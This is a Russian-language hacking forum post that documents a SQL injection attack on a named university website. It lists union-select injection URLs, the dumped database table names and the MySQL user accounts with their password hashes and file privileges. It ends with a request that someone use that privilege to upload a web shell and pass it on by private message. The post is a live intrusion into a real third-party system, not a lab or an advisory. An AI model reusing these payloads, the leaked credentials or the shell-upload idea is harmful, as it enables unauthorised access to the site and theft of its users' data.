ANTICHAT — форум по информационной безопасности, OSINT и технологиям

PR: 4

http://dottint.dicea.unifi.it/index.php?fuseaction=showareas&id=1&page=-16+union+select+version()--

5.0.51a-24

tables:
work_student,introduction,posts,forum_mods,video,l iens,themes,document,reponses,catagories,posts_tex t,
access,whosonline,forums,liste_domaines,topics,exe rcice_question,sessions,config,priv_msgs,accueil,w ords,
group_properties,mc_scoring,exercices,user_group,s tat_accueil,course_description,questions,agenda,wo rk,
headermetafooter,pages,forum_access,users,student_ group,disallow,ranks,banlist

http://dottint.dicea.unifi.it/index.php?fuseaction=showareas&id=1&page=-16+union+select+group_concat(concat_ws(0x3a,user,p as sword,file_priv))+from+mysql. user+group+b y+file_priv+limit+1,1--

file_priv : Y

root:0fdabf2d0422efe4:Y,claroroot:28ba5d674194eb31 :Y,debian-sys-maint:*3DDF0119DF873573462050B67B02D659CA586C52,di r-dic:47f1e8824f72016b:Y,elka:40cc7d9422737e7e:Y,dic web:35be89a25baf7df9:Y,fabio:05d26b55199cdec1:Y,eg jp:40cc7d9422737e7e:Y,leo:5ccae1205bd560b6:Y

кто сильный знаток в теме с файлом_прив У,просто я где то читал что мона залить шелл через SQL ,залейте плиз и в ПМ киньте )))если не жалко вам будет